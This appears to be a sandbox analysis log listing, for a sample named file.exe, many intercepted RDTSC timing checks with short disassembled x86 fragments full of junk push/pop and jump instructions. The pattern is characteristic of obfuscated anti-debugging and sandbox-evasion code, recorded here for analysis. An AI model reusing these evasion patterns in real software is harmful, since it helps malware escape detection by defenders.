Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5ECFE second address: F5ED1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5ED1D second address: F5ED23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5ED23 second address: F5ED29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5ED29 second address: F5ED2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5EFDF second address: F5EFE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5EFE5 second address: F5EFEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F15E second address: F5F162 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F162 second address: F5F182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4A4ED8673h 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F182 second address: F5F188 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F188 second address: F5F192 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD4A4ED8666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F192 second address: F5F1B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A5h 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FD4A4C54696h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F1B1 second address: F5F1B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F595 second address: F5F5A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A4C5469Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F5A5 second address: F5F5A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F5A9 second address: F5F5AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F5AF second address: F5F5EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FD4A4ED866Ah 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pop edi 0x00000011 jg 00007FD4A4ED8695h 0x00000017 jo 00007FD4A4ED866Ah 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f push edx 0x00000020 pop edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FD4A4ED8679h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F5EB second address: F5F5EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F9DF second address: F5F9FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD4A4ED8668h 0x0000000a popad 0x0000000b js 00007FD4A4ED8686h 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007FD4A4ED8666h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5F9FA second address: F5FA08 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FD4A4C546A2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5FED1 second address: F5FEF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 jmp 00007FD4A4ED8670h 0x0000000e popad 0x0000000f pushad 0x00000010 push edi 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5FEF4 second address: F5FF08 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jp 00007FD4A4C54696h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FD4A4C54696h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F5FF08 second address: F5FF0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F65BD9 second address: F65BDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F686AC second address: F686B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F686B1 second address: F686B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EAF6 second address: F6EAFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EAFF second address: F6EB05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EB05 second address: F6EB0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EB0F second address: F6EB2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A4C5469Bh 0x00000009 jnc 00007FD4A4C54696h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EB2B second address: F6EB2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EB2F second address: F6EB33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EB33 second address: F6EB58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A4ED8679h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6EB58 second address: F6EB91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A2h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FD4A4C546A8h 0x00000011 jo 00007FD4A4C54696h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E26B second address: F6E272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E272 second address: F6E278 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E278 second address: F6E27E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E543 second address: F6E55D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push edx 0x00000007 jmp 00007FD4A4C546A1h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E7BE second address: F6E7C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E7C4 second address: F6E7CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E7CD second address: F6E7EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A4ED8679h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E7EA second address: F6E804 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E804 second address: F6E825 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4A4ED8672h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E825 second address: F6E829 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6E829 second address: F6E83B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b jnc 00007FD4A4ED8666h 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7295F second address: F72972 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD4A4C54696h 0x00000008 jo 00007FD4A4C54696h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED2ED9 second address: ED2EEC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FD4A4ED866Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71DC4 second address: F71DCE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD4A4C5469Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71F2C second address: F71F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71F30 second address: F71F34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71F34 second address: F71F3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F71F3A second address: F71F5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jne 00007FD4A4C54696h 0x0000000b jns 00007FD4A4C54696h 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007FD4A4C5469Ah 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7209F second address: F720B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FD4A4ED866Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F72261 second address: F72267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F72267 second address: F7226B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76D2F second address: F76D54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 pushad 0x00000007 jne 00007FD4A4C546AAh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76D54 second address: F76D58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76D58 second address: F76D5E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76E8F second address: F76E93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76E93 second address: F76ECE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FD4A4C54696h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FD4A4C546A4h 0x00000011 jp 00007FD4A4C5469Eh 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jbe 00007FD4A4C54696h 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76ECE second address: F76ED8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76ED8 second address: F76EDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76EDC second address: F76EE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F76EE4 second address: F76F00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A4C546A6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77066 second address: F77070 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD4A4ED8666h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77070 second address: F77076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77076 second address: F7707A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2346B second address: F234D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jnp 00007FD4A4C5469Ah 0x0000000c nop 0x0000000d mov cl, F2h 0x0000000f sbb edx, 7A998112h 0x00000015 mov ebx, dword ptr [ebp+124975C7h] 0x0000001b movzx edx, cx 0x0000001e add eax, ebx 0x00000020 or edx, dword ptr [ebp+122D304Ch] 0x00000026 push eax 0x00000027 jmp 00007FD4A4C5469Ch 0x0000002c mov dword ptr [esp], eax 0x0000002f mov edi, 6C6A0996h 0x00000034 push 00000004h 0x00000036 jc 00007FD4A4C54696h 0x0000003c mov dword ptr [ebp+122D2D24h], ecx 0x00000042 nop 0x00000043 jnp 00007FD4A4C5469Eh 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007FD4A4C5469Bh 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F777CD second address: F777E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 jns 00007FD4A4ED8666h 0x0000000c jmp 00007FD4A4ED866Bh 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80476 second address: F80487 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FD4A4C54696h 0x00000009 jo 00007FD4A4C54696h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC408 second address: ECC426 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FD4A4ED8670h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007FD4A4ED8666h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ECC426 second address: ECC42A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E643 second address: F7E671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FD4A4ED866Dh 0x0000000d popad 0x0000000e jmp 00007FD4A4ED8678h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F06C second address: F7F070 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F5D8 second address: F7F5F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FD4A4ED8666h 0x0000000a jo 00007FD4A4ED8666h 0x00000010 popad 0x00000011 jl 00007FD4A4ED866Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F8E2 second address: F7F8EC instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD4A4C54696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FBCE second address: F7FBDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A4ED866Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FBDC second address: F7FBF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7FEB9 second address: F7FEC3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F80152 second address: F80156 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88B1F second address: F88B47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4ED866Fh 0x00000007 jmp 00007FD4A4ED8675h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88B47 second address: F88B60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A4C546A3h 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90174 second address: F90183 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD4A4ED866Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F90183 second address: F901A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 je 00007FD4A4C546A6h 0x0000000e jmp 00007FD4A4C5469Eh 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jnl 00007FD4A4C54696h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91255 second address: F91259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91259 second address: F91265 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD4A4C54696h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8F185 second address: F8F18F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9922C second address: F99244 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A4C546A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ED6526 second address: ED6535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD4A4ED866Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4CB1 second address: FA4CB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA4CB6 second address: FA4CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA7573 second address: FA7586 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD4A4C5469Dh 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA7586 second address: FA758C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB30F second address: FAB331 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4A4C546A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB331 second address: FAB34C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FD4A4ED8670h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB34C second address: FAB357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB357 second address: FAB35B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAB35B second address: FAB35F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB918F second address: FB9193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB9193 second address: FB919D instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD4A4C54696h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FC1719 second address: FC171D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
